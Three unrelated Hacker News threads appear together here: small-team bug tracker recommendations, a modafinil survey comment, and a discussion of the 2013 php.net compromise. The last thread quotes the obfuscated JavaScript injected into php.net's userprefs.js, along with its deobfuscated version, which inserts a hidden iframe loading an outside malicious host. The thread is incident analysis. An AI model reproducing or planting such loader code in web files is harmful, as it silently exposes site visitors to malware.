Ask HN: Good, lightweight bug tracking system for small team? - <AUTHOR>

Hey everyone, My cofounder and I have been using a google doc + lots of dropbox documents to keep track of to-dos, feature roadmap, and bugs, but it's gotten to the point where we do need a real bug tracking system since our google doc spreadsheets are just a mess to sort through.
What's a good, lightweight bug tracking system for a small team (< 5 people)? I've used Bugzilla in the past, but that seems to be overkill and it's definitely not lightweight. Trac seems to be decent although I haven't really used it for projects. Anyone have good experiences with Mantis?
Thanks <comment><AUTHOR> Overview of Small teams bug tracking software:

Unfuddle - Hosted solution, SVN/Git hosting + really clean bug tracking. Free for 2 people, $9/mo for small teams. Has Mylyn support and a OS X dashboard widget

Bugzilla - everyone seems to agree it's too heavy and I don't want to deal with installing and configuring it

Trac - Pretty lightweight, good integration with SVN, and useful built-in wiki, quick, simple installation

Speckle - To-do list with multiple checkboxes, made by HN's very own elliotkember

Pivotal Tracker - hosted solution with drag n drop interface, allows you to import a list of existing bugs in CSV format. I found the interface a little clunky for my taste.

Others mentioned that I haven't checked out: Fogzbugz, Redmine, Lighthouse, Flyspray, Purifyapp, Codebase

</comment><comment><USER3> +1 for redmine

We (~7 people) migrated away from trac and use redmine for several projects with subversion and now git. Working very well since 3 years.

A friend of mine uses indefero and was happy with it. Link: <http://www.indefero.net/open-source/>

</comment><comment><USER4> I recently started using redmine (<http://www.redmine.org>) and only had good experiences with it. It's an open-source ruby on rails project management "framework". It supports everything you are looking for, and then some more, namely:

\- roadmap for upcoming versions/features \- dedicated site for documentation \- wiki \- forum \- tickets \- repository support

The repository support let's you do things like refer to a ticket in a commit message which then gets associated with said ticket (or even changes the status of the ticket as soon as you commit the bugfix).

I could go on and on... but you get the point.

Here's a demo where you can give some of the things a try:

<http://demo.redmine.org/>

</comment><comment><USER5> I've been building Speckle (<http://speckleapp.com>) for a little while: a to- do list with multiple checkboxes per item. it's reasonably light-weight - <USER2> don't know whether it suits what you're looking for, but Id be interested to know what you think :)

Edit: epi0Bauqu beat me to it!

<comment><AUTHOR> Reminds me a lot of doodle from the screenshot. Will check it out - maybe I'll start using this instead of Google tasks for my own personal to-dos since that usually is such a long list sitting on top of my google calendar that I can't see my calendar -_-

<comment><USER5> I hadn't seen Doodle before - it's quite interesting! A similar layout, but a different objective.

Maybe it's me, but I found it's quite hard to figure out what on earth Doodle is based on its homepage. That's why I like having an in-action screenshot on the homepage, and a "sign up with one click" button. Hopefully Speckle is a little more obvious.

</comment></comment></comment><comment><USER6> We use Redmine here (~4 people) and it's great. Rails backed, lots of plugin if you need more and easily extendable.

It integrate cleanly with CVS, Git, Mercurial, SVN, ... and we'll even do invoicing with it in a few weeks.

There are paid hosting options if you don't want to maintain it yourself.

<comment><USER7> Can you shed some light on Redmine's invoicing? I have not seen any plugins that give that functionality.

<comment><USER6> We use this one: <http://github.com/edavis10/redmine-invoice-plugin>. Simple (a bit too simple) but gets the job done and can autofill based on timesheet entries.

</comment></comment></comment><comment><USER8> Try Pivotal Tracker. It's more geared for todos / feature stuff (and does it really well), but you can use it for bugs, too. If you're tracking more than 50 or so bugs, I could see wanting to use something else, though.

<comment><AUTHOR> Thanks for the suggestion. I just had a funny experience - went there to register... said that my email was already registered... turns out I made an account on pivotal a while back but never used it haha. Will give it a shot. Thanks!

<comment><AUTHOR> Hmm I don't like the interface - drag and drop is kind of clunky for these purposes

</comment></comment></comment><comment><USER9> Trac is great and plugs in really easily to SVN. It's at least worth playing around with since so many open source projects use it.

I wrote a Django middleware that uses Trac's xmlrpc plugin to automatically create Trac tickets for errors. I'm sure it's just as simple to do for whatever you're using.

<comment><USER10> Redmine, is a good alternative.

<comment><USER10> Or try Unfuddle, which is sort of like hosted redmine. They have a freemium model, free for 2 users, unlimited repos.

<comment><AUTHOR> Wow I actually LOVE this hosted solution - minimal setup, easy to customize (can create versions/comps/severities with minimal effort. What really puts it over the top for me is the widget. I'm pretty sure that's going to 1.2x my productivity in terms of knocking out bugs =)

</comment></comment></comment></comment><comment><USER11> How lightweight are you talking? Are you looking for a hosted tool (like fogbugz) or are you definitely going to manage/host it yourself?

I've been using Jira, and there's a $10 version for small groups.

Whatever you chose, make sure of one thing: every tracked bug or task has a unique URL.

</comment><comment><USER12> I'm currently working on a bug tracker (<http://purifyapp.com>). I can send you a beta invite if you're interested? Also open to anyone else who fancies trying it out.

Email me at email@example.com

</comment><comment><USER13> We use trac. And it works really well, has a built in wiki for other bits and pieces that need remembering.

<comment><USER14> I work alone but I still use Trac and couldn't be effective without it. The Wiki is excellent and I love the Subversion support and how you can cross-link everything.

</comment></comment><comment><USER15> I just started using <http://speckleapp.com/>

It's relatively new, very lightweight, and made by HN member elliottkember, who is very open to feedback/suggestions.

</comment><comment><USER16> Post-its on a whiteboard.

<comment><USER17> Your advice is great, but it is too simple and too obvious to be used by any modern team. It is old-fashioned, without any noise and hype around it.

Fortunately, the guys at <http://73primenumbers.com/> started a campaign to add the missing buzz.

<comment><USER16> My tech lead from two projects ago used post-its on a whiteboard, and one of the teams I work closely with still does. For search options, we used a 2D-grid, where the vertical axis was the component and the horizontal access was the state of done-ness (unassigned, being worked on, in code review, finished).

If you have a small, colocated team, this is basically ideal. There's low overhead, and the overhead consists of physically taking off a post-it and sticking it in the next column, which feels very satisfying. At a glance, you can see how done the project is - lots of post-its on the left means you have a while to go, lots of post-its on the right mean you're almost done. If you have components that need lots more attention, they'll show up as stragglers on the grid, and then you can either allocate more resources or cut the feature as appropriate. (In our project, that was usually self-allocation, because we didn't have particular engineers assigned to particular components, and each engineer was familiar with a few different components). If a lot of tasks get stuck in the code review stage, you know that it's time to lean on the code reviewers a bit.

</comment></comment></comment><comment><USER18> Our three man team recently took advantage of the FogBugz YC offer and gave it a try. There were some things we liked about it, but in the end it felt too heavy for us. It was more of a support ticketing system than an easy way for a small team to track their bugs (although it would probably be good if you had a lot of external users reporting bugs).

The other problem was that even a lot of custom tweaking, we never quite got the email subsystem working the way we wanted. We finally started using a plugin to make sure we all got emailed on every change, but then we got swamped because we couldn't figure out how to make it send only one email if you changed multiple fields on a ticket. It always wanted to send one for each piece of data that changed.

Before that, we'd been using a Google Docs spreadsheet, doing pseudo-joel- spreadsheet for project tracking and keeping a simple list of bugs.

Now we're using Wave and treating it as a digital whiteboard. It's got its share of bugs still, but I've been really happy.

We've got one wave where we do project tracking (including moving little name markers around, so we can all see real time what everyone is working on. And we've got another wave for bugs with same rules.

We don't put nearly as much info in our wave as we used to put in the spreadsheet (we did a lot of effort estimation and completion time tracking), but the simplicity may actually be helping us keep on top of it better.

And it's awesome to collaboratively rework our goals for each release and at any time we can just scroll through our bug list.

<comment><AUTHOR> Hmm, I hadn't considering wave as a bug tracking system. Our google doc spreadsheet was already too busy, so I can't imagine Wave making that any better. Really interesting idea though - maybe useful to organize team sprints/small projects.

<comment><USER18> Yeah, we definitely had to trim down how much info we were storing. Obviously that was a sacrifice, but the upside was a lower barrier to entering a new feature or bug. We really do just treat it like a digital whiteboard (even to the point of posting pictures of our actual whiteboard until we can transcribe them). And the realtime collaborative editing kills a traditional wiki.

</comment></comment></comment><comment><USER19> <http://www.codebasehq.com/features/tickets-milestones>

Codebase has a nice feature - you can modify tickets from your commit messages.

</comment><comment><USER20> I'm currently working on a web app builder called AppRabbit (<http://apprabbit.com>) and used it to create my bug/issue tracking system for tracking my progress with...it. I'm still working on finishing up a few fairly fundamental features, but you're welcome to try it out if you'd like a beta invite. Shoot me an email if you (or anyone else) is interested in seeing what it can do. email@example.com.

</comment><comment><USER21> There's a difference between a bug tacker and an issue tracker.

Bugzilla works great as a bug tracker but is not a great issue tracker. Trac, the opposite.

From what you described, seems you're looking more for an issue tracker or a project planning sort of thing.

I've liked Redmine, though I haven't used it professionally yet.

<comment><USER22> Can you elaborate? What is the difference? Is it that an issue tracker is more general than a bug tracker?

<comment><USER21> Yes, it would be more general. Although an issue tracker can be used as a bug tracker(look at Trac).

So typically, a bug tracker would be geared more towards programmers and software bugs, while an issue tracker is usually more friendly towards non- programmer users(so would include stuff like knowledge bases, wikis...).

In practice, the distinction is not as clear cut as the definition implies.

</comment></comment></comment><comment><USER23> I'm also a Mantis user, and I'm quite happy with it.

Mantis supports Git and SVN integration, if you use the Source plugin. You can find detailed information on how to add these functionalities to Mantis at the following URL: [http://leetcode.net/blog/2009/01/integrating-git-svn-with- ma...](http://leetcode.net/blog/2009/01/integrating-git-svn-with-mantisbt/)

Note: Importing repositories with a couple hundred commits will take a while!

I also like FlySpray, but unfortunately, the last commit seems to be 1 year old.

</comment><comment><USER24> Based on posts here I found the "Task-focused API" <http://en.wikipedia.org/wiki/Task-Focused_Interface> . There are lots of extensions available based on it: <http://wiki.eclipse.org/index.php/Mylyn_Extensions> . For example, from gmail, you can add a task by tagging a message! This Extensions page also seems to be a good reference list of todo aka project management trackers.

</comment><comment><USER25> For bugs <http://curecode.org/> is ery lightweight and fast. You can see it in use here <http://curecode.org/rebol3/view-tickets.rsp> .

For sharable todo's I can "recommend" (my) <http://www.qwikitodo.com> , you can even make "actionable" Plan/Todo meshes with it that have titles, subtitles, free form mixing of text todo items, regular lists, etc...

</comment><comment><USER26> <http://www.getdonedone.com>

It's great for small teams where you don't need a ton of reporting features - and it's focused on real-time responsiblity (who needs to respond to what right now). Google docs/excel aren't efficient because there's too much extra noise (sifting thru bugs that don't pertain to you, not easily seeing what bugs are waiting on you with a question, etc.)

Hope you'll try us out!

-KC

</comment><comment><USER27> I haven't used it, but this is "interesting" - <http://www.fossil- scm.org/index.html/doc/tip/www/index.wiki>

(I use Trac myself, and it's OK, but not wonderful - haven't found anything better, but will be trying Redmine after reading comments here).

[edit: also, you can do bug tracking with Google code, which I am surprised no-one else has mentioned]

<comment><USER28> I want to dig into Fossil as well. And I'm impressed that SQLite moved to Fossil in September 2009:

"Version 3.6.18 - Beginning with this release, the SQLite source code is tracked and managed using the Fossil distributed configuration management system. SQLite was previously versioned using CVS. --<http://www.sqlite.org/news.html>

And this page on the design of Fossil is interesting:

[http://www.fossil- scm.org/index.html/doc/tip/www/theory1.wik...](http://www.fossil- scm.org/index.html/doc/tip/www/theory1.wiki)

</comment></comment><comment><USER29> Flyspray is as advertised: "uncomplicated." If you want a simple system, it is worth a try. <http://flyspray.org/>

<comment><USER30> +1 for FlySpray. It's PHP-based, and pretty easy to install and set up. It does take a few minutes to set it up to add your desired Task Types (TODO, Bug, Feature Request, etc.) and Categories. But once you've done that, it's quite easy to use, and looks pretty good too.

</comment></comment><comment><USER31> Try Lighthouse, <http://lighthouseapp.com/> Been using it and it's great

<comment><USER32> Agreed. Not only that, but they have an awesome API. I've used it to write automation tools for our build/deploy process. Never underestimate the usefulness of a good API.

</comment></comment><comment><USER33> Why not build one..

* Within a few minutes,

* Online,

* Over Google App Engine and

* Without Python/Java coding.

Check out : [http://ifreetools.blogspot.com/2010/03/building-simple- bug-t...](http://ifreetools.blogspot.com/2010/03/building-simple-bug-tracker- application.html)

</comment><comment><USER34> More of a project management tool, but I used thymer (thymer.stunf.com/) while putting together a social network for dogs for a client. They would just mark the bugs, I'd comment on it, and we'd have a point of reference for when we talked together.

</comment><comment><USER35> I like unfuddle.com

</comment><comment><USER36> Redmine and Trac

</comment><comment><USER37> You might check out Garret Dimon's <http://sifterapp.com>. I think it's what 37signals would make if they made bug-tracking software.

<comment><USER38> I use Sifter and love the way it looks and works, but the lack of any kind of API is starting to get on my nerves.

</comment></comment><comment><USER39> Unfuddle is very good, very light and easy, it specially helpfull if you are using Eclipse IDE, unfuddle has Mylyn connector to synchronize bugs with ide.

<comment><USER40> +1 for Unfuddle. Has the simplest, most intuitive UI of any bug tracker that I've used...

FogBugz is good, but almost certainly heavy for what you need.

Bugzilla's UI makes me want to claw my eyes out - pay the 9 bucks for an interface that wasn't designed by a programmer.

Jira's probably on the heavier side for what you need, too.

</comment></comment><comment><USER41> If your using git, try <http://wiki.github.com/schacon/ticgit/>

</comment><comment><USER42> Mantis is great. Easy to install and use. Definitely go with that if you're on PHP/MySQL. No need to fuddle with the rest.

</comment><comment><USER43> Try roundup: <http://roundup.sourceforge.net/>

</comment><comment><USER44> If it's just bugs, I like the built-in google code or bitbucket ones just fine.

</comment><comment><USER45> mylyn makes bugzilla a lot easier to use if you use eclipse.</comment>


Modafinil user survey (2015) - <AUTHOR> https://docs.google.com/forms/d/1ZNyGHl6vnHD62spZyHIqyvNM_Ts_82GvZQVdAr2LrGs/viewform <comment><USER2> Ooh, it's Gwern! This should be good :) Modafinil, and nootropics in general sounds very interesting indeed.

OK, monologue time, hopefully this helps somebody!

I've been on a path of self-improvement these past couple of years, trying to create habits of working out, meditating, eating healthier, practicing CBT (Cognitive Behavioural Therapy), etc. I've had drastic, unbelievable changes in my lifestyle that I will be eternally grateful for!

I used to be have very bad periods of depression, self-doubt, under- confidence, loneliness, etc. that are rapidly diminishing with these amazing tools. Cannot recommend each one of them enough! If anybody's struggling with these issues, I promise you that these will offer you results, although you will have to work hard, and long for them to show (YMMV). I also had a session with a therapist which helped a lot, and in my case, I didn't really feel the need to go back. I found the very act of seeking help and acknowledging that I had a problem pushed me towards healing.

After I research nootropics for effectiveness and safety, I'd love to add them to the list! Also on the list: rationality in the style of LessWrong, although I'm trying to decide how much the cost-to-benefit ratio of pursuing "pure rationality" will end up being (I suspect the answer will be "a lot").

TLDR: Eat healthy, exercise, meditate and practice CBT if you suffer from depression :)</comment>


Php.net detected as a malware host by Google Safe Browsing - <AUTHOR> http://www.google.com/safebrowsing/diagnostic?site=http://php.net/manual/en/function.next.php&hl=en <comment><USER2> I work at Google and was the one who posted on our forums about this.

What our systems found was definitely a compromised JS file, and others on this thread have posted something similar to what we saw. This is not a false positive.

We have detailed help for webmasters in this kind of situation:

[http://www.google.com/webmasters/hacked/](http://www.google.com/webmasters/hacked/)

One thing that I strongly suggest to any webmaster in this situation is to look for any server vulnerability that allowed this file to get compromised in the first place. We sometimes see webmasters simply fix the affected files without digging into security hole that allowed the hack, which leaves the server vulnerable for repeat attacks.

Happy to answer questions.

<comment><USER3> You sir, get -9,001 Internets.

There are huge repercussions for any website that gets blacklisted with the Stop Badware clearinghouse, the least of which is the inability to figure out exactly where the problem actually is because the company you work for's information for a webmaster to resolve the problem is ridiculously minimal. There are no notifications (unless you are signed up for Google Webmaster Tools) and restoring a website to normal globally can take anywhere from 48 hours to two weeks. There are millions of developers who rely on the PHP website daily for performing their day jobs and you've now made it that much harder for us to do our jobs.

Stop Badware needs a serious overhaul. At the very least, they should contact the contacts in the WHOIS record for the domain BEFORE doing anything. Give the website owners 24 hours to resolve the issue before blacklisting the site. And give them a heck of a lot more information to go on than some vague text.

Also, there are several anti-virus vendors out there who use the clearinghouse database for their products...6 to 12 months after the original blacklisting. So this will happen all over again 6 to 12 months from now. Finding contacts for anti-virus vendors for removing domain blocks is a lot harder than removal from the blacklist on the Stop Badware site.

The CORRECT solution for this situation was to find a contact at PHP who could resolve the issue quickly and amicably. Seriously, how hard is it to locate Rasmus' e-mail address? Always try to find a human contact before using Stop Badware. You can chalk using Stop Badware for the PHP website as being the dumbest decision you've made this year. Hopefully this decision of yours will raise the ire of the Internet just enough to force the company you work for to revamp Stop Badware so it doesn't suck, Google Webmaster Tools so they don't suck, and the reporting tools for sending information to Stop Badware so they also don't suck.

<comment><USER4> _Stop Badware needs a serious overhaul. At the very least, they should contact the contacts in the WHOIS record for the domain BEFORE doing anything._

Why? This isn't a responsible disclosure, "we found a potential vulnerability but we don't know if it's being exploited yet" kind of situation. This is a "there's a real threat to anyone visiting that site via your search engine right now" kind of situation.

As a user, I'd be much happier if the search engine flagged this immediately.

As a site owner, if someone found malware on my site I'd want to know ASAP too. Obviously it would be helpful if they sent me a notification and made the specific details of the identified threat available. However, I could hardly criticise them for blacklisting my site while it should be blacklisted, or for claiming that we were dangerous while we were actually serving malware.

Not clearing up the blacklists promptly after the threat is identified and removed is an entirely different question. If you're going to go around blacklisting sites then I think you also have a responsibility (and, for that matter, you should also have a legal obligation) to remove them from the blacklist with similar efficiency if you're notified that the threat has been removed. Claiming that someone's site is dangerous when it isn't is defamatory, and should be treated as such.

</comment></comment></comment><comment><USER5> Everybody seems to laugh and rage about this, but could somebody tell me if this is correctly detected or not? I would not be surprised at all if somebody had breached php.net. Did they properly check against intrusions?

<comment><USER6> It's weird. The file linked to in the google product forums ([http://static.php.net/www.php.net/userprefs.js](http://static.php.net/www.php.net/userprefs.js)) definitely has a piece of obfuscated js to insert an iframe pointing to [http://lnkhere.reviewhdtv.co.uk/stat.htm](http://lnkhere.reviewhdtv.co.uk/stat.htm). The actual [http://www.php.net/userprefs.js](http://www.php.net/userprefs.js) does not though.

<comment><USER7> It was changed to un-confuse whatever tool google is using. No version on github has obfuscated contents (see: [https://github.com/php/web- php/commits/master/userprefs.js](https://github.com/php/web- php/commits/master/userprefs.js)) bit it does include another file ([https://github.com/php/web- php/commits/master/functions.js](https://github.com/php/web- php/commits/master/functions.js)) which did have obfuscated contents. Where the version that inserts iframe to uk site came from?

<comment><USER6> 1) When I go to static userprefs.js on my mobile, no obfuscated contents.

2) Now when I browse to static userprefs.js on my desktop in incognito mode, no obfuscated contents.

3) When i browse to static userprefs.js on normal mode I get the following js appended:

        (function (MH) {
            var aS = "\x96\xad\xa1\xb4\x87\xf8J\x04Y.C\xb4u>\xac\xa8\x95\xbd\x04x\x8e\xa6:\x8c\x00O\x0b`\x04\x20-M@O\x00\x0d+\x0c\x0b\x04IM\x00d\x0fhbH"+
                     "mOO\x08J-\x0a.`iK\x00\x20(\x0b\x08)MM\x00d\x0bhKbmbb\x0bJ-\x09-`OhDf\x08)*B1*C0k\x0d,j2\x0c5+;|C\x19qSu\x1bgT`?\x0c\"1N'v\x0b-,H8"+
                     "ky6Er\x04!]\x19uVD.\x20\x15$qe\x20S>:sU\x1e:2#\x13MQ\x1c<\x20\x02)\x0eSTBlf\x05?62:`In\x17T&\x0c\"\x1e7Y\x01X@\x00/.q\x12\"\x08f#"+
                     "\x04k\x0a\x15`k.\x15rf\x0cbS\x20|x\x106CZ\x14\x18Xu1>:rXy\x0evb\x0d,q\x16\x06j\x025U\"cX\x15y|<2W~\x16\x032-T\x15\x17\\\\q\x01\x03"+
                     "\x09g\x00/.q\x12\"\x08f^\x1as$\x13f\x0e\x20i\x08Ur&H`\x1dd\x17Pt|{\x18Xu5@kn5\x14$*bx\"Yc-&}?~~2Afm\x0c\x11T\x04j`^5tRb\x0d]\x08\"]"+
                     "\x19uVD.\x20\x129wq9S\\\x1e:Qv`+lqVBhBv^?id\x20\x0dh\x11v\"*@\x1e:Rr1<\x00xx\x13&9`\x09,wPd\x0cfzWzA\x06\x1e\x1eBknW\x16B(\x06a\x00q\x02)"+
                     "\x7f*q\x19\x1f\x11v\"*@t9F`k.\x15rf\x0cb[6|\"g{S\x06m\x19\x0c6?9\x17\x14\x06j`8;\x10@Q\x1aBk\x0cUt`*\x06w4\x03\x0f~#f\x1e\x18rw\x20i\x08U"+
                     "r&H`|x\x15`!D\x18<\x11p^\x1apr<:r6\x1c\\2\x14\x1c\x18s\x18\"\x0b*Wr\"l\x02~dF\x16h<:s`\x1c\\7B\x1c\x18rC<i~U@#\x18XucDs\x14M%\x1ezp\x11:"+
                     "\x12\x1c\x18s\x144^w=x<tA!]>:u\x06\x1e:3s\x02A@\x1c\x18sC~T_\x20\x0dh\x11v\"*@!\x1eB\x1e:0px\\\x06i=nT=y6.\x14ht\x0ct.R\x1fy\x14\x19q_}"+
                     "\x0ct\x7fr=\x7fZ[@]2y\x19\x1fA\x1f2?\x1fj\x13\x19s_i\x0d[E\x1bS\x1f};V]0y\x1f&{p_?\x7f0;q\x1f9hP[\x15\x1d]jT[\x12[?^\x1f&{t_?\x19#;r\x1f"+
                     "_hW[\x14\x1dIk{ay5_ym\x1fA\x1f3?\x1f\x7f\x14\x19s_\x1bE[\x16\x1d=\x7fR[\x16[9P\x1fu}\x1fc9u\x1f=\x7f0Ypy;P\x1bQ\x1f{ay>_yy6{u_Y6\x19Q\x1f"+
                     "\x19c\x1b\x1d]y}\x12\x19\x12]\x19.*P\x1fp}yx9\x20\x19P\x1f\x1fY!\x7f5y\x1dH1{0\x7f/+\x7f>\x1fA\x1f4?\x1f\x19\x02\x19s_\x1d\x0cz\x7f!;t}]"+
                     "ydY\x16\x19\x19\x08m(\x16\x19v=\x19\x20Ysy]\x0d\x1dI\x19A[\x16[_\x0c0\x1f\x10\x19+9#\x19T\x1f\x1f*4\x7f2yi[?\x09;zo?\x0c\"1N'v\x0b-,H\x10"+
                     "\x0cui_gR&H\x10nw\x0b=fA(!T!\"\x12\x14\x0a[&'n%Pe\x04\x156$\x1bdGjgP!dx-9\x06'.\x056'\"'Rf\x1f$\x05.EtG&Zg\x7f9\x09\x7fk\x04j\x10.5\x19W"+
                     "\x16B(\x06v\x1dqq}s8^\\up\x02m_9\x17\x14\x06j`^8\x160Sq\x20+G$~~2\x15b\x01\x02m__\x7f\x176$j\x20qY=p<1f|x\x123\x20\x0dm?x-*0\x0c5I?'n3A"+
                     "{M&H\x10nwySTBlf\x1326\x03$\x13^\x1e:3txx\x15%)!fsNW$\x06m\x19\x09?P,5\x195\x14$*b\x17v\x10!\x06\x13\x1e\\Z76x<uE\x0da$1.1d`+\x1d\x0cUr&H`"+
                     "|x\x130_x<uD#^\x1au$:f\x1ezp\x11<p\x1c<\x1fWfs6\x20\x0dh\"U*a\x16+-\x0ejky\x18M(v\x0e\x17k\x1b}\x0b=\x7fA(7E?P,5\x195\x14$*b\x17f\x00\x05"+
                     "\x13\x1e|\\Z77x<u\x16sL\x06`k=j\x17T&\x0c\"\x19<\\\x09QP\x00/.B1*C0k\x0d,jI9\x1akhvNSi[?\x09;_{\x7f\x0dl3I*f\x0d5k[",
                Z7 = ["\x73\x70\x6c\x69\x74", XC = 0x09 * 17, "\x6c\x65\x6e\x67\x74\x68", "\x68\x61\x73\x4f\x77\x6e\x50\x72\x6f\x70\x65\x72\x74\x79"],
                Jm = "\xd5\xb6\xf9\x89\x9eT\x1a\xe4\x9a\x87\xd3\x16r\xa4\x99}Q\x8c\xc8\xe3t\xf4\xf9\xedC",
                jS = aS["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0, Jm[Z7[2]]);
            UVf = function (wD) {
                var Np, uK, Ugx = uK = "",
                    DUB = 0;
                wD = wD[Z7[0]](Ugx);
                for (Np in wD) {
                    if (wD[Z7[3]](Np)) {
                        uK += pVH(wD[Np], jS[Z7[0]](Ugx)[DUB %= jS[Z7[2]]]);
                        DUB++;
                    }
                }
                return (uK);
            };
            jS = UVf(Jm);
            MH[UVf("'t!H")](UVf(aS[UVf("1w\"WtV)\x0e%")](Jm[UVf(".g.CtL")])))
        })(window, pVH = function (g6D, FFl, LyS, mnT) {
            g6D = g6D[LyS = "\x63" + (mnT = "\x68\x61\x72\x43\x6f\x64\x65") + "\x41\x74"](0);
            return (String["\x66\x72\x6f\x6d\x43" + mnT](g6D & XC | ((g6D & (~XC & 0xff)) ^ (FFl[LyS](0) & (~XC & 0xff)))))
        });

4) When I control F5 the page to refresh, obfuscated contents are gone.

So I'm leaning towards it being hacked a while ago and the hacked version was in my cache.

<comment><USER8> This code deobfuscates basically to

            tmp3 = (tmp2 = document.createElement('iframe')).style;
            tmp2.src = 'http://lnkhere.reviewhdtv.co.uk/stat.htm';
            tmp1 = (tmp0 = document.createElement('div')).style;
            tmp1.width = tmp1.height = '-10000px';
            tmp1.overflow = 'hidden'; tmp1.position = 'absolute'; tmp1.left = '-10000px';
            tmp4 = document.getElementsByTagName('div');
            tmp4[Math.floor(Math.random() * tmp4.length)].appendChild(tmp0).appendChild(tmp2);

Wrapped into onload.

<comment><USER9> I really love that part where a random div is selected for inserting the iframe...

<comment><USER10> If there is one. Could be a little more robust :)

<comment><USER11> Obviously the hackers have a thing about non-semantic markup :-)

(yes, yes, I know that DIVs aren't really non-semantic - it's a joke)

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER12> I'd say the tool is broken:

[http://www.google.com/safebrowsing/diagnostic?site=http://go...](http://www.google.com/safebrowsing/diagnostic?site=http://google.com)

It reports google.com for 142 exploit(s), 131 trojan(s), 98 scripting exploit(s)

<comment><USER7> For php.net, it reports only mere 4 trojans. So php.net is almost 100 times safer that google.com, according to this tool. That sounds pretty good :)

<comment><USER13> > For php.net, it reports only mere 4 trojans. So php.net is almost 100 times > safer that google.com, according to this tool. That sounds pretty good :)

Compare how many google.com pages have been tested and how much php.net pages have been tested and stop with that non sense.

</comment></comment></comment><comment><USER14> There seems to be some controversy here, and one of our research systems found the same problem. So heres a quick post and a link to the full pcap so you can see for yourselves.

[http://barracudalabs.com/2013/10/php-net- compromise/](http://barracudalabs.com/2013/10/php-net-compromise/)

Cheers.

<comment><USER15> Not sure if you're associated with that site, but it's kinda hard to read that article: [http://imgur.com/lyeZ9qZ](http://imgur.com/lyeZ9qZ)

Windows, Firefox 24.0

<comment><USER14> ugh, yeah, I'm just a bit associated with it :)

I think our social media coordinator got a little happy with the options. For now disable JS to get a nice read, I'll see about getting that fixed.

EDIT: fixed, looks like last update of WP-Socializer introduced the bug. Disabled for the time being. Thank you and sibling poster for pointing it out.

</comment></comment></comment><comment><USER16> They're working on it: [http://productforums.google.com/forum/#!topic/webmasters/puL...](http://productforums.google.com/forum/#!topic/webmasters/puLmvjtK0m8)

</comment><comment><USER17> Interesting that satnavreviewed.co.uk, obbcountybankruptcylawyer.com, stephaniemari.com, and northgadui.com are all owned by the same GoDaddy account.

<comment><USER18> Yeah, presumably the one godaddy account got hijacked, then used as a host for the malicious file.

A good reminder that anyone's low-profile website may not seem a tempting target, but it's still very much at risk.

</comment></comment><comment><USER19> This is what happens when you give too much power to one company. And what is the appeal process? Asking for help on Twitter as the founder of a huge project like PHP? [https://twitter.com/rasmus/status/393258264034422785](https://twitter.com/rasmus/status/393258264034422785)

<comment><USER20> _This is what happens when you give too much power to one company._

What happens? Is it bad that that Google protects users from malware and notifies webmasters that their website was compromised?

<comment><USER21> Google doesn't notify anybody, you have to find out for yourself the hard way.

And after that, it forces the owners of the site to register with Google and use Google services just to even figure out why, and to get their sites unflagged. And that is after the owner even figured out how and where to contact Google.

<comment><USER22> Google sends out emails to a bunch of different addresses like email@example.com, email@example.com, etc and notifies anyone signed up through Google Webmaster tools. The only improvement I can think of would be if they notified whoever was listed after doing a WHOIS of the domain but that's a little hard to automate.

>And after that, it forces the owners of the site to register with Google and use Google services just to even figure out why, and to get their sites unflagged.

Google forces you to prove that you own the domain before they give you any information that they don't release publicly. How else do you suggest they go about not releasing everything publicly? Also, all you have to do as a site owner is click on the safe browsing diagnostic link and go from there.

<comment><USER23> In our case the email alerts went out 12 hours after they identified our site and started giving the warning to users. We got several calls from customers before being notified by Google.

</comment></comment></comment></comment></comment><comment><USER24> Hey, PHP isn't perfect, but calling it malware seems over the top! /rimshot

Thank you, thank you, ladies and gentlemen, I'll be here all week!

<comment><USER25> ba dum tss

<comment><USER26> But in all seriousness, php is not the bad guy here, bad coders are.

<comment><USER5> Are you referring to the people who implemented PHP? Because I would be.

</comment></comment></comment></comment><comment><USER27> A site I visit frequently was once identified as containing malware. I overrode it and went there anyway. (In firefox.)

And now forevermore the icon for that site in the url-bar dropdown is the warning icon, and I have not been able to find out how to change it back to the normal one.

<comment><USER28> Explicitly visit the url of that favicon in the browser and hard reload the page. That usually works for me.

<comment><USER27> The icon is correct in tabs (and by correct I mean not there - the site has no favicon), it's only incorrect in the url-drop down (the arrow in the url box which shows you the most visited pages).

</comment></comment></comment><comment><USER29> [http://php.mirrors.pair.com/](http://php.mirrors.pair.com/)

<comment><USER7> That's a pretty outdated mirror :)

<comment><USER29> 7 months in "web years" is pretty old, but as you know PHP has been around a long time, so there's still alot of relevant information for those who depend on the site.

</comment></comment></comment><comment><USER13> Well somebody screwed up here. Maybe PHP core developpers should concentrate on the security of their own website , it's more than embarrassing. There is no reason why php.net should use anything more than a static site generator.

<comment><USER30> From the headers, php.net seems to be Apache/PHP on BSD. This might be an example of a widespread ongoing attack pattern which is a bit of a mystery.

For the past year or more there have been compromises in this pattern - Linux/unix platform, Apache webserver; foreign Javascript or PHP gets inserted somehow; and/or in some cases the server binary is replaced. Sample article: [http://arstechnica.com/security/2013/04/exclusive-ongoing- ma...](http://arstechnica.com/security/2013/04/exclusive-ongoing-malware- attack-targeting-apache-hijacks-20000-sites/) \- you can find more on this.

The big question is how the original exploit happens. It may be a long-out- there 0-day, or some admin tool that the sites have in common, or credentials taken from compromised boxes of developers, or something else.

Edited to update info.

</comment></comment><comment><USER31> This happened to [http://www.iphonedevsdk.com](http://www.iphonedevsdk.com) a while ago and did a good job of tarnishing its reputation, all as a result of an arbitrary flag.

<comment><USER32> Serious question: this "arbitrary flag" would possibly be in reference to this widely-reported watering hole attack[1] (or was that attack misreported?), or are you referring to some other issue with that web site?

[1] [http://arstechnica.com/security/2013/02/dev-site-behind- appl...](http://arstechnica.com/security/2013/02/dev-site-behind-apple- facebook-hacks-didnt-know-it-was-booby-trapped/)

</comment></comment><comment><USER33> So was the site of the Thai Police with information how to get a police clearance. Very confusing. However, it seems to fixed now.

</comment><comment><USER34> An update has been posted on this: [http://php.net/archive/2013.php#id2013-10-24-1](http://php.net/archive/2013.php#id2013-10-24-1)

tl;dr: Relevant services moved to new servers; investigation continuing. Post mortem to follow once that's done.

</comment><comment><USER35> Ha I live in Cobb County I wonder if that's a good bankruptcy lawyer.

</comment><comment><USER36> False positives are the life of security. Microsoft Updates (update.microsoft.com) was just blacklisted by malwaredomains this week. It happens. Algorithms are not humans.

<comment><USER37> This was a true positive.

</comment></comment><comment> guard-of-terra Malware detectors are usually right if overzealous.

</comment><comment><USER38> This relates to the website, but maybe there should be malware warnings for programming languages too ;-)

